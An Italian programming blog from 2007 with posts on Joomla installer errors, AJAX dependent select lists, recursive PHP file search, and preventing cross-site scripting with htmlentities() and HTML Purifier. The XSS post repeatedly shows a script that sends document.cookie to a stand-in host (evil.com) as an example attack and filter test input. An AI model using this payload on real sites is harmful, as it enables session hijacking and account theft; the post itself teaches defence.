venerdì 28 dicembre 2007

Joomla: impossibile trovare file setup XML

Colgo l'occasione di una richiesta di aiuto ricevuta da un lettore per spendere qualche parola su un problema che, a quanto pare, mette spesso in difficoltà utenti inesperti di Joomla: il messaggio di errore "Impossibile trovare un file setup XML nel pacchetto" che si riceve talvolta quando si tenta di installare un componente, modulo o plugin.

Diciamo subito che la cosa che crea maggior confusione è che messaggi di errore molto simili sono generati da Joomla in presenza di condizioni di errore diverse.

Andiamo con ordine.

File xml di installazione

I componenti (e lo stesso vale per moduli, plugin e template) Joomla includono un file xml che contiene tutte le informazioni necessarie all'installazione: nomi e cartelle di destinazione dei vari file, eventuali query sql che devono essere eseguite quando il componente viene installato o disinstallato ed altro che, per quello che interessa qui adesso, non è necessario esaminare in dettaglio.

E' chiaro che la presenza di questo file xml è essenziale perché Joomla possa portare a termine correttamente la procedura di installazione.

Cause dell'errore

Nonostante queste premesse e nonostante il tenore letterale del messaggio, la mancanza del file xml di installazione non è quasi mai la causa del messaggio di errore di cui stiamo parlando.

1) File xml in pacchetti all'interno di un pacchetto principale

Molto più frequentemente il file in questione esiste, solo non si trova dove Joomla si aspetta di trovarlo: nella radice del pacchetto (zip) di installazione del componente.

Spesso infatti capita che un componente sia distribuito insieme a moduli o plugin 'di contorno' e che lo sviluppatore crei, per semplicità di distribuzione, un unico archivio compresso contenente al suo interno i pacchetti di installazione del componente e dei relativi moduli e plugin. Sono questi pacchetti interni che contengono ognuno il proprio file xml di installazione.

Quindi se si tenta di installare il pacchetto principale (chiamiamolo così) ecco l'errore "Impossibile trovare un file setup XML nel pacchetto". Quello che si deve fare è estrarre dal file zip principale i pacchetti di installazione del componente, dei moduli e plugin ed installarli tutti uno per uno.

Di solito questa procedura è riportata in un file di istruzioni nel pacchetto, ma si sa che nessuno legge mai queste cose.

2) Errore di sintassi nel file xml

Una situazione particolare si verifica quando il file di xml di installazione è sì presente, ma contiene un errore di sintassi, per esempio un tag aperto e non chiuso. Praticamente solo coloro che sviluppano propri componenti possono trovarsi in questa situazione, se si utilizzano componenti sviluppati da altri si presume che questi siano stati testati almeno quanto basta per scoprire un problema che ne impedisce del tutto l'installazione.

Il messaggio di errore in questo caso è

Impossibile trovare un file setup Joomla! XML nel pacchetto

Come si vede è del tutto simile a quello visto per il caso precedente. Personalmente non ho mai fatto caso alla differenza finché non ho controllato il sorgente del componente installer.

Ho riportato i messaggi così come sono nella versione italiana di Joomla, ma non è assolutamente un problema di traduzione. La stessa somiglianza è presente anche nel testo in inglese.

Va detto che sarebbe stato opportuno differenziare meglio il messaggio di errore previsto per questo caso. Prima di capire che un errore di sintassi nel file xml e la mancanza dello stesso generano praticamente lo stesso messaggio di errore, si rischia di perdere un sacco di tempo (parlo per esperienza personale). Tant'è, questa è la situazione ed è bene esserne a conoscenza.

3) Incompatibilità tra componente e versione di Joomla

Con la diffusione della versione 1.5 di Joomla si è creata un'altra possibilità di errore: tentare di installare sulla versione 1.0 un componente scritto per Joomla 1.5.

Il messaggio è sempre

Impossibile trovare un file setup Joomla! XML nel pacchetto

L'ambiguità è anche in questo caso fonte di confusione. La prima cosa che si fa di fronte ad un messaggio di questo genere è aprire il pacchetto e vedendo che il file xml è presente non ci si rende conto della ragione dell'errore.

A parte controllare un eventuale file di istruzioni nel pacchetto, si può scoprire per quale versione di Joomla è stato creato il componente aprendo il file xml e controllandone le prime righe

Un file xml per Joomla 1.0 contiene alla seconda riga

<mosinstall type="component" version="1.0.0">

Un file xml per Joomla 1.5 contiene alla terza riga

<install type="component" version="1.5.0">

Fortunatamente nella situazione inversa, quando cioè si tenta di installare un componente creato per la versione 1.0 sulla versione 1.5 di Joomla, il messaggio è molto più specifico: si viene avvisati che il componente è incompatibile con la versione in uso di Joomla e viene suggerita l'attivazione del Legacy Mode per risolvere il problema.

Spero di aver fatto un po' di luce su un problema che, secondo la mia esperienza, crea spesso qualche imbarazzo agli utenti (specialmente i meno esperti) di Joomla. L'intenzione almeno era questa. Alla prossima.

lunedì 24 dicembre 2007

AJAX: Liste di Selezione Dinamiche

Visto il periodo festivo non è il caso di trattare argomenti troppo lunghi o complicati. Quindi mi limito ad un semplice esempio di codice che dimostra come risolvere un problema piuttosto comune. Utilizzare AJAX per generare dinamicamente il contenuto di una lista di selezione in base al valore selezionato dall'utente in un'altra lista.

Creeremo una pagina html con una lista di selezione (tag html select) contenente un elenco di regioni. Quando si seleziona una regione nella lista, un elenco di capoluoghi di provincia appartenenti a tale regione sarà aggiunto dinamicamente ad una seconda lista di selezione.

Il tutto ovviamente si appoggia a due tabelle (regioni e province) in un database MySQL.

Il listato dimostrativo completo è scaricabile dal sito (Liste AJAX). L'archivio zip può essere decompresso in una directory del vostro sito web o testato sul vostro PC se avete installato localmente Apache, MySQL e PHP (tramite ad esempio Wamp, Xampp o simili).

Il contenuto del file liste_ajax.zip è il seguente

  • index.html
  • lists.js
  • request.php
  • dbconfig.php
  • db.sql

Limiterò la spiegazione alle parti essenziali senza riportare qui tutto il codice, potrete trovare maggiori dettagli nei commenti all'interno dei sorgenti.

1) index.html

Il documento html contenente le due liste di selezione regioni e province. Da notare che i tag <select> non contengono nessun tag <option> al loro interno in quanto questi saranno generati ed aggiunti dinamicamente con AJAX.

2) lists.js

Contiene tutte le funzioni Javascript necessarie.

getXmlHttpObject crea un oggetto XMLHttpRequest che verrà utilizzato per inviare le richieste al server. Si tratta di codice direttamente tratto (per non saper nè leggere nè scrivere) dagli esempi presenti sul sito www.w3schools.com. Conviene utilizzare sempre questa funzione quando si lavora con AJAX perché è fatta in modo da garantire la compatibilità degli script con diversi browser.

loadList invia una richiesta al server passando a request.php il nome della tabella (regioni o province) da cui estrarre i valori da inserire nella lista di selezione e il valore del campo ID da usare nella clausola WHERE della query. Per la tabella province l'ID è quello della regione selezionata nella prima lista, per la tabella regioni il valore di ID è sempre zero.

La richiesta viene inviata al server in modalità asincrona quindi si specifica una funzione (stateChanged) che processerà il risultato della richiesta.

xmlHttp.onreadystatechange = stateChanged;

stateChanged riceve la risposta dal server e, se tutto è andato bene (xmlHttp.status == 200), svolge il lavoro di riempimento della lista di selezione generando dinamicamente gli elementi <option>. Il codice della funzione dovrebbe essere chiaro una volta esaminato il formato della risposta inviata dal server (vedi request.php).

addOption è una funzione di servizio che serve ad aggiungere dinamicamente un elemento <option> ad una lista di selezione <select>.

getSelected restituisce il valore dell'elemento correntemente selezionato in una lista. Viene utilizzata nell'evento onchange della lista regioni (vedi index.html).

3) request.php

Lo script che riceve la richiesta inviata dall'oggetto XMLHttpRequest, interroga il database e restituisce i dati per la generazione dinamica del contenuto della lista di selezione.

Quando la richiesta riguarda la tabella regioni vengono sempre restituiti tutti i record. Per la tabella province vengono restituiti i record il cui campo id_regione è uguale all'id passato nella richiesta ($_REQUEST['id']).

Il formato della risposta è

nome_tabella;id1|nome1;id2|nome2 ...

Le coppie id e nome sono ripetute tante volte quanti sono i record estratti.

4) dbconfig.php

Contiene le costanti per la connessione al database. Devono essere modificate con i valori necessari per connettersi al vostro server MySQL e database.

5) db.sql

Lo script sql necessario alla creazione delle tabelle regioni e province usate dal codice di esempio. Sono pochi campi, ma lanciando lo script vi risparmiate la fatica di creare le tabelle a mano e vi resta più tempo per incartare gli ultimi regali!

Per facilitare la comprensione del meccanismo conviene fare un esempio di cosa accade quando si visita la pagina web e si seleziona un elemento di una lista. Conviene seguire il percorso avendo i sorgenti a portata di mano.

1) index.html viene caricata nel browser. Le due liste di selezione sono vuote.

2) Un'istanza dall'oggetto XMLHttpRequest viene creata dall'istruzione

var xmlHttp = getXmlHttpObject();

nel file lists.js (caricato nell'header di index.html)

3) Questo script (prima di </body> in index.html)

<script type="text/javascript">
//<![CDATA[
loadList('regioni', 0);
//]]>
</script>

viene eseguito.

4) La funzione loadList invia questa richiesta al server

request.php?table=regioni&id=0

5) In request.php la richiesta si traduce in questa query

SELECT id, nome FROM `regioni` ORDER BY nome

Selezionati i record, il server invia questa risposta

regioni;4|Campania;2|Liguria;1|Lombardia;3|Toscana

6) La funzione Javascript stateChanged in lists.js elabora la risposta: la stringa è trasformata in array con la funzione Javascript split

var values = resp.split(';');

Il primo elemento dell'array viene estratto e utilizzato per identificare l'id della lista di selezione

var listId = values.shift();
var select = document.getElementById(listId);

Gli altri elementi dell'array sono processati uno ad uno. I valori del campo ID e Nome (separati da |) sono utilizzati rispettivamente come attributo value e testo visibile dei tag <option> che sono creati ed aggiunti alla lista di selezione con la funzione addOption.

Questo è il codice html generato dinamicamente ed aggiunto alla lista di selezione regioni

<option value="4">Campania</option>
<option value="2">Liguria</option>
<option value="1">Lomabardia</option>
<option value="3">Toscana</option>

A questo punto supponiamo di selezionare Toscana nella lista. Questo è quello che accade.

1) Viene eseguito il codice nell'evento onchange della lista regioni

onchange="loadList('province', getSelected(this))"

La funzione getSelected ritorna l'attributo value dell'elemento <option> selezionato (Toscana -> 3)

2) La funzione loadList invia questa richiesta al server

request.php?table=province&id=3

3) In request.php viene quindi eseguita la query

SELECT id, nome FROM `province` WHERE id_regione=3 ORDER BY nome

e la risposta è

province;5|Firenze;6|Lucca

Da qui in poi è tutto come sopra. La funzione stateChanged elabora la richiesta e genera il contenuto della lista province.

Possiamo concludere. Dovrebbe essere abbastanza facile estendere il codice per includere ulteriori livelli. Per esempio tre liste di selezione: regioni, province e comuni.

Anche se l'esempio non è originalissimo, la spiegazione, forse, è un po' più dettagliata di quelle che si trovano in giro. Spero vi sia utile.

Buone Feste a tutti.

venerdì 14 dicembre 2007

PHP: Ricerca File in Directory

Rispondo ad una domanda ricevuta da un lettore (stile rubrica Donna Letizia)

Sto cercando di scrivere una funzione in PHP per la ricerca di un file con una certa estensione partendo da una directory e includendo nella ricerca tutte le sotto-directory contenute in essa anche su più livelli. Fino ad elencare tutti i file di una directory ci arrivo, ma il problema è che non so in anticipo quanti livelli di sotto-directory ci sono e come fare ad includerli tutti nella ricerca. Sembrava facile, ma mi sono bloccato. Se potessi darmi un suggerimento, forse una funzione di ricerca file può servire anche ad altri.

Per fare una cosa di questo genere conviene usare una funzione ricorsiva. Si passano come argomenti il percorso della cartella da cui iniziare la ricerca, l'estensione cercata e un array che conterrà i file trovati. Con l'istruzione readdir si elencano tutti i file e le directory, con preg_match si trovano i file con l'estensione desiderata e si aggiungono all'array, mentre la funzione richiama sè stessa ricorsivamente su ogni directory incontrata.

Il codice è

function searchFile($folder, $srch, &$results) {
  $folder = rtrim($folder, "/") . '/';
  if ($hd = opendir($folder)) {
    while (false !== ($file = readdir($hd))) { 
      if($file != '.' && $file != '..') {
        if(is_dir($folder . $file)) {
          searchFile($folder. $file, $srch, $results);
        } elseif(preg_match("#\.$srch$#", $file)) {
          $results[] = $folder . $file;
        }
      }
    }
    closedir($hd); 
  }
}

Un esempio di utilizzo potrebbe essere il seguente

$r=array();
searchFile('c:/test/', 'exe', $r);
foreach($r as $f) {
  echo $f, '<br />';
}

Si cercano tutti i file con estensione exe nella directory c:/test e tutte le sue sotto-directory e si stampa poi l'array dei risultati.

Da notare che il percorso della cartella da cui iniziare la ricerca va indicato utilizzando il separatore di directory stile Unix ( / ) e non Windows ( \ ).

Se poi si volesse modificare la funzione per effettuare una ricerca in base al nome esatto e non all'estensione del file, basterebbe passare il nome del file nell'argomento $srch e modificare questa unica riga

} elseif(preg_match("#\.$srch$#", $file)) {
in questo modo
} elseif($srch == $file) {

Tutto qui. Spero possa essere utile.

Le funzioni ricorsive sono una soluzione ideale per attraversare strutture ad albero in cui la profondità dei livelli (nel nostro esempio directory e sotto-directory) non sia predeterminabile.

Può essere difficile capire il meccanismo le prime volte che si incontrano funzioni di questo tipo, ma per chi fosse interessato ad approfondire la cosa i motori di ricerca offrono tutto il materiale che si vuole anche con esempi di codice diversi da quello che abbiamo visto.

sabato 8 dicembre 2007

PHP: Prevenire attacchi cross site scripting (xss)

Può capitare che una nostra applicazione PHP debba ricevere e processare un input in formato HTML. Per esempio del testo inserito dagli utenti con un editor visuale Javascript (come TinyMCE giusto per nominarne solo uno). Questi editor sono indubbiamente utili in quanto consentono di utilizzare un'interfaccia grafica simile ad un word processor, perciò familiare anche agli utenti meno esperti, per formattare un testo con font, stili, colori e altri attributi per poi passare il codice HTML risultante ad uno script.

La tentazione di usare un editor visuale nelle nostre applicazioni per consentire agli utenti di inviare i propri articoli o altri contributi in un formato esteticamente più gradevole del nudo testo, può essere forte e non è detto che sia una tentazione a cui si debba necessariamente resistere. Va però tenuto presente che quando si riceve da una fonte esterna del codice HTML destinato alla pubblicazione sul nostro sito, è essenziale adottare le opportune misure per filtrare e neutralizzare script o altro codice malevolo che potrebbe essere inserito da un utente malintenzionato.

In particolare bisogna prevenire i cosiddetti attacchi cross site scripting (xss).

Cos'è un attacco cross site scripting

La tipologia di attacco cross site scripting (abbreviato xss) che più ci interessa qui è quella che si verifica quando codice HTML dannoso viene passato ad uno script PHP il cui output è destinato alla visualizzazione in una pagina web.

Potenzialmente vulnerabili ad attacchi xss sono tutte le applicazioni che generano dinamicamente pagine web basandosi su un input esterno: forum, guestbook, wiki, siti che pubblicano articoli o commenti inviati dagli utenti.

E' chiaro che l'esempio fatto all'inizio di applicazione che riceve il proprio input attraverso un editor visuale è solo uno dei possibili casi, codice HTML può essere passato anche attraverso un semplice campo textarea o usando un software che invii direttamente dati allo script scavalcando qualsiasi protezione lato client.

Esempio di attacco cross site scripting

Supponiamo che un utente inserisca il seguente codice in un post su un forum.

<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>

Se l'applicazione non neutralizza questo codice (vedremo dopo come), una volta che il post è pubblicato, i cookies di chiunque lo legga saranno inviati ad uno script su un altro dominio. Poiché i cookies sono frequentemente usati per conservare l'identificatore di sessione degli utenti autenticati, una volta venuto a conoscenza del contenuto di un cookie di un utente, un malintenzionato può impersonare lo stesso utente sul sito di provenienza e, per esempio, postare a suo nome sul forum. Purché chiaramente riesca a farlo prima che la sessione il cui identificativo è stato rubato sia scaduta o terminata (ovvia precisazione).

Questo è tutto sommato un esempio banale. Un attacco xss avrà conseguenze tanto più dannose quanto più sensibili sono le informazioni di cui si può venire a conoscenza tramite l'accesso illecito all'account di un utente.

Soluzioni

Per rendere le nostre applicazioni sicure da attacchi xss sono possibili due soluzioni: una più estrema o radicale, l'altra più selettiva e, in certo modo, più sofisticata.

Uso di htmlentities()

La soluzione più estrema consiste nel filtrare con la funzione PHP htmlentities() tutti i dati ricevuti da una fonte esterna e destinati ad essere visualizzati in una pagina web. In questo modo tutti i caratteri speciali saranno convertiti in entità HTML. Ad esempio > diventa &gt;, < diventa &lt; e così via. Si può facilmente verificare che in questo modo lo script di esempio visto sopra verrebbe reso visibile come testo nella pagina, ma non eseguito dal browser.

Classe per 'filtrare' codice HTML

Il problema della soluzione appena vista è che ci sono situazioni in cui si vuole consentire all'utente l'uso di codice HTML per formattare i contenuti che vengono inviati all'applicazione.

In questi casi conviene utilizzare una funzione filtro personalizzata che consenta di utilizzare solo un certo numero di tag HTML e converta in entità o rimuova tutti gli altri.

Non volendo realizzare da soli una funzione del genere, si può ricorrere a soluzioni già pronte all'uso.

HTML Purifier

HTML Purifier è una libreria pensata per l'uso in applicazioni che necessitano di processare codice HTML ricevuto in input da una fonte non sicura e che ha la funzione sia di proteggere da attacchi xss, sia di assicurare che il codice HTML sia valido e conforme agli standard.

HTML Purifier è open source (GNU LGPL) e molto ben documentata. La documentazione è in inglese per cui penso valga la pena scrivere qualche nota generale su come utilizzare questa libreria.

Installazione

Scaricato il pacchetto di installazione dal sito conviene decomprimerlo sul PC locale per poi trasferire sullo spazio web soltanto la cartella library, l'unica che serve.

Si deve poi impostare come scrivibile (chmod 755 o 777 a seconda delle impostazioni del vostro server) la cartella

path_to_library/HTMLPurifier/DefinitionCache/Serializer

dove path_to_library è il percorso sul server fino alla cartella library di HTML Purifier.

Esempio d'uso

Per prima cosa bisogna includere la libreria

require_once 'path_to_library/HTMLPurifier.auto.php';

Per svolgere il suo lavoro la libreria deve conoscere Doctype e set di caretteri utilizzati nella pagina web dove il codice da validare sarà inserito. Le impostazioni predefinite sono XHTML Transitional e UTF-8. Per cambiarle

require_once 'path_to_library/HTMLPurifier.auto.php';

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('Core', 'Encoding', 'ISO-8859-1');
$cfg ->set('HTML', 'Doctype', 'HTML 4.01 Transitional');

Chiaramente ISO-8859-1 e HTML 4.01 Transitional vanno sostituiti con il set di caratteri e Doctype desiderato.

A questo punto vediamo un esempio di validazione

require_once 'path_to_library/HTMLPurifier.auto.php';

$html = <<<EOD
<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$filter = new HTMLPurifier(); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

L'output è

<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi sia quello racchiuso tra <script> e </script> sia quello nell'evento onclick nel tag <a>. Inoltre è stato aggiunto un tag di chiusura </p> che era stato omesso.

Si può quindi vedere anche da un esempio così semplice come HTML Purifier sia in grado non solo di rimuovere le fonti di possibili attacchi xss, ma anche di correggere il codice secondo le regole di validazione proprie del Doctype selezionato. Tutto questo senza aver impostato alcuna particolare opzione di configurazione perché per impostazione predefinita HTML Purifier rimuove tutti i tag e gli attributi potenzialmente pericolosi.

Se vogliamo consentire un insieme ancora più ristretto di tag possiamo farlo in questo modo

$html = <<<EOD
<p align="center" class="test">paragrafo di prova, 
<b>testo grassetto</b>, <u>sottolineato</u>
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('HTML', 'AllowedElements', 'b,i,p,br,a');
$cfg ->set('HTML', 'AllowedAttributes', '*.class, a.href');
$filter = new HTMLPurifier($cfg); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

Con il parametro di configurazione AllowedElements si imposta la lista dei tag HTML consentiti, con AllowedAttributes quella degli attributi consentiti. *.class significa che l'attributo class è ammesso per tutti i tag, a.href che l'attributo href è ammesso solo per il tag <a>.

L'output è quello che ci si aspetta.

<p class="test">paragrafo di prova, 
<b>testo grassetto</b>, sottolineato
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi, così come i tag <u> </u> e l'attributo align in quanto non compresi tra gli elementi e attributi consentiti.

Altre funzioni utili di HTML Purifier

Per finire vale la pena menzionare un paio di funzionalità di formattazione automatica del codice che possono tornare utili in molti casi.

Creazione automatica paragrafi

Tag <p> e </p> possono essere automaticamente inseriti intorno a blocchi di testo separati tra loro da due caratteri consecutivi di ritorno a capo. La funzione è abbastanza intelligente da non inserire paragrafi dove non è consentito. Il paramentro di configurazione da impostare per questa funzionalità è
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'AutoParagraph', true);

Creazione automatica di link

Una url presente nel testo passato al filtro può essere automaticamente trasformata in link attivo.
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'Linkify', true);

Sul sito ufficiale è disponibile un demo online: inserendo codice HTML in un modulo e impostando diverse opzioni di configurazione si possono vedere le trasformazioni effettuate dal filtro. Vale la pena spenderci un po' di tempo e toccare con mano le potenzialità della libreria.

Per il momento è tutto anche se di HTML Purifier avremo probabilmente occasione di parlare ancora in futuro in quanto è un'ottima soluzione per creare applicazioni PHP più robuste e proteggere da attacchi cross site scripting i visitatori del vostro sito.